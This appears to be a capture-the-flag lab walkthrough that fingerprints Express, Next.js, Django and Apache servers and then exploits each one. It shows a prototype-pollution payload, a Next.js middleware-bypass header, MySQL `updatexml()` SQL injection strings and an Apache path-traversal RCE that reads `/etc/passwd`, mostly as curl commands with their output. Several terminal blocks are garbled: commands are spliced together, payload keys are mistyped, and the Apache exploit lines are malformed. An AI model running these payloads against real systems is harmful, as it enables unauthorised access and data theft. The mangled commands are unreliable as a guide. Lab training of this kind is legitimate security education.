

Modern Web Stacks

Once you know the stack and the version, you know the attack surface.

Every web stack leaks its identity. Headers, cookie names, error messages, URL structure, and HTML source patterns each tell you something specific about what is running.

Manual fingerprinting, followed by targeted CVE research, is how experienced red teamers work.

The workflow for every task in this room is the same: identify the stack from observable signals, confirm the version, understand why the vulnerable code pattern exists, and then execute the exploit chain.

The three-step workflow is applied to every task:

1. Fingerprint the stack from HTTP response signals (no exploit payloads yet)
2. Confirm the version and identify the applicable CVE
3. Execute the exploit chain and understand the root cause

MERN Stack

The stack (**MongoDB, Express.js, React, Node.js**) powers a large share of modern SaaS products, internal tools, and API backends.

Stack Identity

MERN apps are the default choice for JavaScript-only shops that want one language across the full stack. On Ubuntu, the typical deployment is Node.js from the NodeSource PPA, Express listening on port 3000 or 5000, and MongoDB on port 27017

Fingerprinting the MERN Stack

using command:

```
curl -I 10.129.170.148:3000/ [ip of target : port]
```

```

root@ip-10-129-84-51:~# curl -I 10.129.170.148:3000/
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 68
ETag: W/"44-0T374IjVuBCKvVq78aQtpBIvD2A"
Set-Cookie: connect.sid=s%3A1_5WimeWDqhB91f4NyN2BpyXk5P43N08.nHD6r%2BRtoZkdDRjh9XawJmCG12gWmGjVRJ%2B0swhfCnI; Path=/; HttpOnly
Date: Tue, 16 Jun 2026 17:29:06 GMT
Connection: keep-alive
Keep-Alive: timeout=5

```

Look for these in the response:

Signal	Value	Confidence
X-Powered-By header	Express	High
Set-Cookie header	connect.sid=s%3A...	High
Unhandled route response	Cannot GET /nonexistent (plain text)	High
Frontend root element	In the HTML body	Medium

Reverse proxies and PaaS platforms (Vercel, Cloudflare, Railway) often strip this header before it reaches the client. If `X-Powered-By` is absent, fall back to cookie name and unhandled-route format as secondary signals.

To confirm the Express unhandled-route fingerprint, request a nonexistent path:

```

root@ip-10-129-84-51:~# curl http://10.129.170.148:3000/nonexistent
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /nonexistent</pre>
</body>
</html>

```

An Express app with default settings returns plain text: `Cannot GET /nonexistent`. This is distinct from Django (which shows an HTML error page), Apache (which shows a styled 403 or 404), and Next.js (which returns an HTML page with a styled error). That plain-text response is unambiguous.

Exploiting MERN

Confirmed the stack: Express on port 3000 with a `connect.sid` session cookie

In a pentest against a MERN application, the next step after fingerprinting is API surface enumeration

The app on port 3000 exposes two endpoints

Endpoint	Method	Purpose
<code>/api/user/update</code>	POST	Accepts JSON and merges it into the session user object
<code>/api/admin/flag</code>	GET	Returns a flag if the requesting user has admin access

Start by confirming the admin route is gated. Save your session cookie first, then probe the protected endpoint by issuing the following commands:

```
root@ip-10-129-84-51:~# curl -c cookies.txt http://10.129.170.148:3000/
<html><body><div id="roocurl -b cookies.txt http://10.129.170.148:3000/api/admin
/flag-51:~# curl -b cookies.txt http://10.129.170.148:3000/api/admin/
{"error":"Not authorized"}
{"error":"Not authorized"}{error:Not authorized}: command not found
root@ip-10-129-84-51:~#
```

`{"error":"Not authorized"}`. The check is working for regular session users who have `isAdmin` property.

Now look at what the update endpoint accepts under normal conditions. A legitimate client might send a name or email change:

```
Terminal
root@tryhackme:~# curl -b cookies.txt -X POST http://10.129.170.148:3000/api/user/update -H
{"status":"updated"}
```

Expected: `{"status": "updated"}`. The endpoint accepts arbitrary JSON keys and merges them into the user object with no key filtering. That merge function is the attack surface.

Every JavaScript object inherits from a shared root called `Object.prototype`. When a merge function receives `{"proto": {"isAdmin": true}}` without filtering the `proto` key, it writes `isAdmin: true` directly onto `Object.prototype`, not onto any individual user object. Every object in the Node.js process that looks up `.isAdmin` will then find `true` via the prototype chain, even if the property was never explicitly set on that object. The admin flag endpoint checks `currentUser.isAdmin` on a plain session object with no own `isAdmin` property, making it the exact target. Some hardened deployments filter `__proto__` at the input layer; in those cases, the `constructor.prototype` path (`{"constructor": {"prototype": {"isAdmin": true}}}`) reaches `Object.prototype` through a different route and can bypass those filters. You can learn more about the [Prototype Pollution](#) attack.

Getting Admin Flag

Vulnerable Merge Function:

```
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object' && source[key] !== null) {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}
```

When the payload `{"__proto__": {"isAdmin": true}}` reaches this function, it finds `__proto__` in the source keys, sees it is an object, and recurses. Inside the recursion, `target["__proto__"]` is a reference to `Object.prototype` not a regular key, so it sets `Object.prototype.isAdmin = true`. The admin route then reads `currentUser.isAdmin`, finds no own property, walks the prototype chain, and returns the flag.

```
app.get('/api/admin/flag', (req, res) => {
  const currentUser = req.session.currentUser || {};
  if (currentUser.isAdmin) { // resolves true via prototype chain
    res.json({ flag: '[REDACTED]' });
  } else {
    res.status(403).json({ error: 'Not authorized' });
  }
});
```

Step 1: Send the Prototype Pollution Payload

```
root@ip-10-129-84-51:~# curl -b cookies.txt -X POST http://10.129.170.148:3000/api/user/update -H
"Content-Type: application/json" -d '{"__proto__": {"isAdmin": true}}'
{"status": "updated"}root@ip-10-129-84-51:~#
```

The server responds with `{"status": "updated"}`. The merge has run and `Object.prototype.isAdmin` is now `true` in the Node.js process.

Step 2: Request the Admin Flag

```
content-type: application/json -d '{"_proto_": {"isAdmin": true}}'
{"status": "updated"}root@ip-10-129-84-51:~# curl -b cookies.txt http://10.129.170.148:3000/api/a
curl -b cookies.txt http://10.129.170.148:3000/api/admin/flag
{"flag": "THM{pr0t0_p0llut3d}"}root@ip-10-129-84-51:~#
```

React/Next.js

Stack Identity

Next.js is the dominant **React** framework for production applications. It is what you will find behind most investor dashboards, customer portals, and marketing sites built in the last three years. On Ubuntu, it runs as a Node.js process under a dedicated user (`node` or `www-data`), typically started with `npm start` after `npm run build`. The App Router (introduced in Next.js 13, default since 14) enables React Server Components, which make the CVEs [CVE-2025-29927\(opens in new tab\)](#) and [CVE-2025-55182\(opens in new tab\)](#) possible.

 **Note:** Both CVE-2025-29927 and CVE-2025-55182 affect Next.js apps in production build mode (`npm run build` && `npm start`). They do not manifest in development mode (`next dev`). If fingerprinting confirms a development server, neither CVE applies.

React Server Components and the Flight Protocol

The App Router runs React components directly on the server. Instead of shipping JavaScript to the browser, the server executes the component and streams the result to the client using a binary-like format called the RSC Flight protocol. That streaming channel, the endpoint that serves this payload, is the attack surface for CVE-2025-55182.

Fingerprinting Next.js

using curl -I <http://10.129.174.58:3001/> command

```
root@ip-10-129-121-61:~# curl -I http://10.129.174.58:3001/
HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
x-nextjs-cache: HIT
x-nextjs-prerender: 1
x-nextjs-stale-time: 4294967294
X-Powered-By: Next.js
Cache-Control: s-maxage=31536000,
ETag: "1pqu4ojvif3at"
Content-Type: text/html; charset=utf-8
Content-Length: 4277
Date: Wed, 17 Jun 2026 17:20:00 GMT
Connection: keep-alive
Keep-Alive: timeout=5
```

Signal	Value	Confidence
X-Powered-By header	Next.js	High
HTML source	window.__next_f in script tag	High (confirms App Router)
Static asset paths	/_next/static/chunks/	High
Middleware headers	x-middleware-next or x-middleware-rewrite	Medium
Redirect to protected route	HTTP 307 to /login	Medium

window.__next_f in the page source is the definitive App Router indicator.

CVE-2025-29927: Middleware Bypass

In Next.js, middleware is a function that runs before every request reaches a page. Developers use it as the central gatekeeper; authentication checks, session validation, and redirect logic all live here.

The /dashboard route in this app is a typical example. The middleware checks for a valid session cookie. Without one, it redirects to /login . Let us confirm that it is working:

curl -v <http://10.129.174.58:3001/dashboard>

```
root@ip-10-129-121-61:~# curl -v http://10.129.174.58:3001/dashboard
* Trying 10.129.174.58:3001...
* Connected to 10.129.174.58 (10.129.174.58) port 3001
> GET /dashboard HTTP/1.1
> Host: 10.129.174.58:3001
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 307 Temporary Redirect
< location: /login
< Date: Wed, 17 Jun 2026 17:21:27 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
< Transfer-Encoding: chunked
<
* Connection #0 to host 10.129.174.58 left intact
```

Middleware is working. No cookie, no dashboard, the server sends us straight to `/login`.

Now for the vulnerability. Next.js uses an internal header called `x-middleware-subrequest` to prevent infinite loops. When middleware calls itself recursively (for example, to forward a modified request to another route), Next.js attaches this header so it knows not to run middleware again on that forwarded request

The critical flaw: Next.js never checked whether `x-middleware-subrequest` was coming from an internal process or from an external client. If you include the header in your own request, Next.js treats it the same as an internal subrequest and skips middleware entirely.

```
root@tryhackme:~# curl -H "x-middleware-subrequest: middleware:middleware:middleware:middlew
...
DashboardFlag: [REDACTED]
...
* Connection #0 to host 10.129.174.58 left intact
/loginroot@ip-10-129-121-curl -H "x-middleware-subrequest: middleware:middleware:
:middleware:middleware:middleware" http://10.129.174.58:3001/dashboard
<!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport
```

```
ld not be found.\"}]]]]]]]]],{"forbidden\":"$undefined\","unauthorized\":"$u
undefined\"}]]]]]]]],{"children\":[{"dashboard\":[{"$","$1","c"},{"children
\":[null,{"$","$L2",null,{"parallelRouterKey\":"children\","segmentPath\
To\":"children\","dashboard\","children\"],"error\":"$undefined\","errorStyle
s\":"$undefined\","errorScripts\":"$undefined\","template\":[{"$","$L3",n
ull,{}}],"templateStyles\":"$undefined\","templateScripts\":"$undefined\","n
otFound\":"$undefined\","forbidden\":"$undefined\","unauthorized\":"$undefi
ned\"}]]]]]],{"children\":[{"__PAGE__\":[{"$","$1","c"},{"children\":[{"$","
","div",null,{"children\":[[{"$","h1",null,{"children\":"Dashboard\"}]},[{"
$","p",null,{"children\":["Flag: ","THM{m1ddl3w4r3_byp4ss3d}\"}]]]],nul
l,[{"$","$L4",null,{"children\":"$L5\"}]]]],{},{},null,false]],null,false]],nu
ll,false],[{"$","$1","h"},{"children\":[null,[{"$","$1","pR5zvVgn2w9-PA
IRCboM2"},{"children\":[[{"$","$L6",null,{"children\":"$L7\"}]},[{"$","$L
8",null,{"children\":"$L9\"}]},null]]]]]],false]],{"m\":"$undefined\","G\":[
{"$a","$undefined"},{"s":false,"S":true}\n"])}</script><script>self.__next_
f.push([1,"9:[[{"$","meta","0"},{"name\":"viewport\","content\":"width=d
```

Django

Django is the Python-native alternative framework that government agencies, newsrooms, and SaaS companies with Python engineering teams reach for first.

[CVE-2021-35042](#)(opens in new tab) is a SQL injection vulnerability in

Django's `order_by()` query method, rated **CVSS 9.8 Critical** and requiring no authentication to exploit.

Stack Identity

large share of Python-backed web applications. On Ubuntu, it runs under Gunicorn or Django's built-in development server, typically on port `8000`. The Django admin panel at `/admin/` and CSRF middleware are enabled by default in virtually every Django project

Fingerprinting Django

`curl -I "http://10.82.95.115:8000/products/"`

Signal	Value	Confidence
Server header	WSGIServer/0.2 CPython/X.X.X	High
Cookie name	csrftoken	High
X-Frame-Options header	DENY	High
X-Content-Type-Options header	nosniff	High
Referrer-Policy header	same-origin	Medium
HTML source (any POST form)	csrfmiddlewaretoken hidden field	High

The `csrfmiddlewaretoken` hidden field is the most reliable Django fingerprint. Django's `CsrfViewMiddleware` injects it into every `POST` form automatically. Browse to `/admin/` and view source; it is always there. You will not find this field in Express, Rails, or any Next.js application.

The combination of `X-Frame-Options: DENY`, `X-Content-Type-Options: nosniff`, and `Referrer-Policy: same-origin` appearing together signals Django's `SecurityMiddleware`. No other framework applies this combination by default.

The App: Products Catalogue

The app running on port `8000` is a simple product catalogue. Browse to `/products/` to see what we are dealing with:

```
curl -s "http://10.129.174.58:8000/products/"
```

```
root@ip-10-129-103-217:~# curl -s "http://10.129.182.81:8000/products/"
<!DOCTYPE html>
<html>
<head><title>Products</title></head>
<body>
<h1>Products</h1>
<form method="get" action="">
  <input type="hidden" name="csrfmiddlewaretoken" value="pbKOeAKAlRLNorD2SbhQYWU
  EcxnqaYzz474BU8iZ40Ygad3UZ5duYZGrP4waDNJA">
  <input type="hidden" name="order" value="">
</form>
<ul>

  <li>Gadget B - $19.99</li>

  <li>Tool C - $4.99</li>

  <li>Widget A - $9.99</li>

</ul>
</body>
</html>
```

CVE-2021-35042: The Vulnerability

The view that handles `/products/` builds its SQL query by concatenating the `order` parameter directly into an `ORDER BY` clause:

```
order = self.request.GET.get('order', 'name')
sql = (
    'SELECT id, name, price, description FROM products_product '
    f'ORDER BY (CASE WHEN (1=1) THEN {order} ELSE name END)'
)
```

Whatever you put in `?order=` lands inside the `THEN` branch of the SQL with no validation. The `CASE WHEN` structure is always true (`1=1`), so the `THEN` branch always executes, making it the injection entry point.

The `updatexml()` technique exploits how MySQL handles XPath errors. `updatexml(1, xpath_expr, 1)` raises an error if the XPath expression is invalid. By wrapping a `SELECT` inside the XPath argument with `concat(0x7e, ...)`, MySQL includes the query result in the error message. `0x7e` is the hex for `~`, which acts as a delimiter to make the extracted value easy to identify. Django's debug mode (`DEBUG = True`) surfaces these MySQL errors in the HTTP 500 response body.

Warning: The `updatexml()` technique only works when `DEBUG = True` is set in `settings.py`. A production app with `DEBUG = False` returns a generic 500 page with no error details. In this lab, the debug setting is on, but on a real engagement, verify this first. If debug output is suppressed, blind time-based injection using `SLEEP()` is the fallback.

Exploitation Walkthrough

Step 1: Extract MySQL Version

Confirm the injection is working by extracting a known value: the database version. The `@version` system variable is always available and gives you an immediate confirmation that your payload is executing. The 500 error response also reveals the Django version in its debug output:

```
Terminal
root@ip-10-82-126-238:~# curl -s "http://10.129.174.58:8000/products/?order=updatexml(1,concat(0x7e,(select%20@@version)),1)" | grep -o '[0-9][^&]*'
~8.0.45-0ubuntu0.22.04.1
```

The `~` prefix confirms your payload executed and the database responded. You are injecting into MySQL 8.0. The same 500 error page also contains `Django Version: 3.2.4` in the debug output.

Step 2: Extract the Database Name

Now find out which database the application is using:

```
Terminal
root@ip-10-82-126-238:~# curl -s "http://10.129.174.58:8000/products/?order=updatexml(1,concat(0x7e,(select%20database())),1)" | grep -o '[0-9a-zA-Z_][^&]*'
~vuln_db
```

The target database is `vuln_db`. This is just an example, and we can provide this information to tools like `Sqlmap` to further audit and dump the database.

```
</html>
root@ip-10-129-103-217:~# curl -s "http://10.129.182.81:8000/products/?order=updatexml(1,concat(0x7e,(select%20@@version)),1)" | grep -o '[0-9][^&]*'
~8.0.45-0ubuntu0.22.04.1
~8.0.45-0ubuntu0.22.04.1
~8.0.45-0ubuntu0.22.04.1
~8.0.45-0ubuntu0.22.04.1
~8.0.45-0ubuntu0.22.04.1
~8.0.45-0ubuntu0.22.04.1
~8.0.45-0ubuntu0.22.04.1
~8.0.45-0ubuntu0.22.04.1
~8.0.45-0ubuntu0.22.04.1
~8.0.45-0ubuntu0.22.04.1
root@ip-10-129-103-217:~# curl -s "http://10.129.182.81:8000/products/?order=updatexml(1,concat(0x7e,(select%20database())),1)" | grep -o '[0-9a-zA-Z_][^&]*'
~vuln_db
~vuln_db
~vuln_db
~vuln_db
~vuln_db
~vuln_db
~vuln_db
~vuln_db
```

LAMP

is one of the earliest and most widely adopted web application stacks. It became popular because all its components are open-source, stable, and easy to deploy.

Stack Identity

On Ubuntu, Apache usually runs under `www-data`, serves files from `/var/www/html`, and passes dynamic requests to PHP through `mod_php` or PHP-FPM.

Fingerprinting the LAMP Stack

curl -I <http://10.129.182.81:8080/>

```
root@tryhackme:~# curl -I http://10.129.182.81:8080/
HTTP/1.1 200 OK
Server: Apache/2.4.49 (Unix)
Last-Modified: Mon, 11 Jun 2007 18:53:14 GMT
ETag: "2d-432a5e4a73a80"
Accept-Ranges: bytes
Content-Length: 45
Content-Type: text/html
```

curl -v <http://10.129.182.81:8080/nonexistent> 2>&1

```
root@ip-10-129-103-217:~# curl -v http://10.129.182.81:8080/nonexistent 2>&1
* Trying 10.129.182.81:8080...
* Connected to 10.129.182.81 (10.129.182.81) port 8080
> GET /nonexistent HTTP/1.1
> Host: 10.129.182.81:8080
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 404 Not Found
< Date: Wed, 17 Jun 2026 18:09:55 GMT
< Server: Apache/2.4.49 (Unix)
< Content-Length: 196
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
* Connection #0 to host 10.129.182.81 left intact
```

Signal	Value	Confidence
<code>Server</code> header	Apache/2.4.49 (Unix)	High - exact CVE match
404 error page footer	Apache/2.4.49 version string	High
<code>/cgi-bin/</code> response	403 Forbidden (not 404)	High - <code>mod_cgi</code> enabled

CVE-2021-41773: The Vulnerability

Apache 2.4.49 introduced a change to the `ap_normalize_path()` function. The change inadvertently broke the path traversal filter. Normally, Apache blocks any URL containing `../` before it reaches the filesystem. The bug is in the decode order: the traversal filter runs before full URL decoding.

When you send `..%2e/` (a literal dot followed by the URL-encoded dot and a slash), the filter sees `..%2e/` and does not recognise it as `../`. When Apache passes the URL to the filesystem, the OS resolves `..%2e/` as `../`. The filter was bypassed.

On its own, this is directory traversal for file read. What makes it critical is the interaction with `mod_cgi`. The `/cgi-bin/` path has CGI execution enabled. When the traversal resolves to an executable binary like `/bin/sh`, Apache runs it as a CGI script and passes the HTTP `POST` body to its stdin.

Why `--path-as-is` Is Required

curl normalises URLs before sending them. Without `--path-as-is`, curl cleans up `..%2e/` sequences before the request leaves your machine, and the server receives a normal path. The flag tells curl to send the URL exactly as typed.

Warning: If your traversal requests return 403 instead of executing, the most common cause is a missing `--path-as-is` flag. curl silently normalises the traversal sequences, and the server never sees the encoded dots.

Exploitation

You have confirmed Apache 2.4.49 on port 8080, with `mod_cgi` enabled on `/cgi-bin/`. You have a direct path to unauthenticated RCE.

Step 1: Confirm Remote Code Execution

Traverse from `/cgi-bin/` up to `/bin/sh` using four `../` segments. Pass shell commands in the POST body. The `echo` `Content-Type: text/plain; echo;` preamble is required by the CGI spec. Apache needs a valid HTTP header block before the body, or it returns a 500. The bare `echo` outputs the required blank separator line:

```
Terminal

root@tryhackme:~# curl -s --path-as-is "http://10.129.182.81:8080/cgi-bin/../../../../bin/sh;uid=1(daemon) gid=1(daemon) groups=1(daemon)"
```

RCE confirmed. The Apache process is running as `daemon`. You have code execution on the server with the privileges of the web process.

Step 2: Read System Accounts

With code execution, you can read any file the `daemon` user can access. Read `/etc/passwd` to enumerate system accounts inside the container:

```
Terminal

root@tryhackme:~# curl -s --path-as-is "http://10.129.182.81:8080/cgi-bin/../../../../bin/sh;cat /etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
```

The first non-root account is the `daemon` account, which is the same user running the Apache process. This confirms the server is not running as `root`.

Step 3: Read the Flag

```
Terminal

root@tryhackme:~# curl -s --path-as-is "http://10.129.182.81:8080/cgi-bin/../../../../bin/sh;cat /etc/flag"
[REDACTED]
```

i Info: CVE-2021-41773 is version-specific. It affects Apache 2.4.49 only. A partial patch in 2.4.50 blocked single-encoded dots but not double-encoding CVE-2021-42013 tracks the bypass using `%%32%65%%32%65/`. Versions 2.4.51 and later are fully patched. Any `Server: Apache/2.4.49` or `Server: Apache/2.4.50` header is an immediate signal to reach for this CVE.

Automation

Manual fingerprinting teaches you what signals matter and why. When you are working through a scope with many hosts, Nikto gives you a quick first pass; it probes each service, reads response headers, and surfaces stack signals and known misconfigurations without you writing a single payload.

Scanning All Four Stacks

Run Nikto against each port in turn: MERN on port 3000 , Next.js on port 3001 , Django on port 8000 , and Apache on port 8080 .

```
Port 3000 - MERN Stack

Terminal

root@tryhackme:~# nikto -h http://10.129.182.81:3000

- Nikto v2.1.5
-----
+ Target IP:          10.129.182.81
+ Target Hostname:    10.129.182.81
+ Target Port:        3000
-----
+ Server: No banner retrieved
+ Cookie connect.sid created without the httponly flag
+ Retrieved x-powered-by header: Express
+ The anti-clickjacking X-Frame-Options header is not present.
+ Uncommon header 'content-security-policy' found, with contents: default-src 'none'
+ Allowed HTTP Methods: GET, HEAD
+ 6544 items checked: 0 error(s) and 7 item(s) reported on remote host
-----
+ 1 host(s) tested
```

Port 3001 - Next.js

```
Terminal

root@tryhackme:~# nikto -h http://10.129.182.81:3001

- Nikto v2.1.5
-----
+ Target IP:          10.129.182.81
+ Target Hostname:    10.129.182.81
+ Target Port:        3001
-----
+ Server: No banner retrieved
+ Retrieved x-powered-by header: Next.js
+ Uncommon header 'x-nextjs-stale-time' found, with contents: 4294967294
+ Uncommon header 'x-nextjs-cache' found, with contents: HIT
+ Uncommon header 'x-nextjs-prerender' found, with contents: 1
+ Allowed HTTP Methods: HEAD
+ 6544 items checked: 0 error(s) and 19 item(s) reported on remote host
-----
+ 1 host(s) tested
```

Port 8000 - Django

```
Terminal

root@tryhackme:~# nikto -h http://10.129.182.81:8000

- Nikto v2.1.5
-----
+ Target IP:          10.129.182.81
+ Target Hostname:    10.129.182.81
+ Target Port:        8000
-----
+ Server: WSGIServer/0.2 CPython/3.10.12
+ Uncommon header 'referrer-policy' found, with contents: same-origin
+ Uncommon header 'x-content-type-options' found, with contents: nosniff
+ 6544 items checked: 0 error(s) and 4 item(s) reported on remote host
-----
+ 1 host(s) tested
```


Port 8080 - Apache

Terminal

```
root@tryhackme:~# nikto -h http://10.129.182.81:8080

- Nikto v2.1.5
-----
+ Target IP:          10.129.182.81
+ Target Hostname:    10.129.182.81
+ Target Port:       8080
-----
+ Server: Apache/2.4.49 (Unix)
+ Server leaks inodes via ETags, header found with file /
+ The anti-clickjacking X-Frame-Options header is not present.
+ Allowed HTTP Methods: HEAD, GET, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ 6544 items checked: 0 error(s) and 4 item(s) reported on remote host
+ End Time: (9 seconds)
-----
+ 1 host(s) tested
```

CVE Summary

Stack	CVE	Impact	CVSS
MERN / Express	CVE-2020-8203	Prototype pollution → auth bypass	7.4 High
Next.js Middleware	CVE-2025-29927	Single header → full middleware bypass	9.1 Critical
Django ORM	CVE-2021-35042	SQL injection via unparameterised <code>ORDER BY</code>	9.8 Critical
Apache LAMP	CVE-2021-41773	Path traversal + <code>mod_cgi</code> RCE	9.8 Critical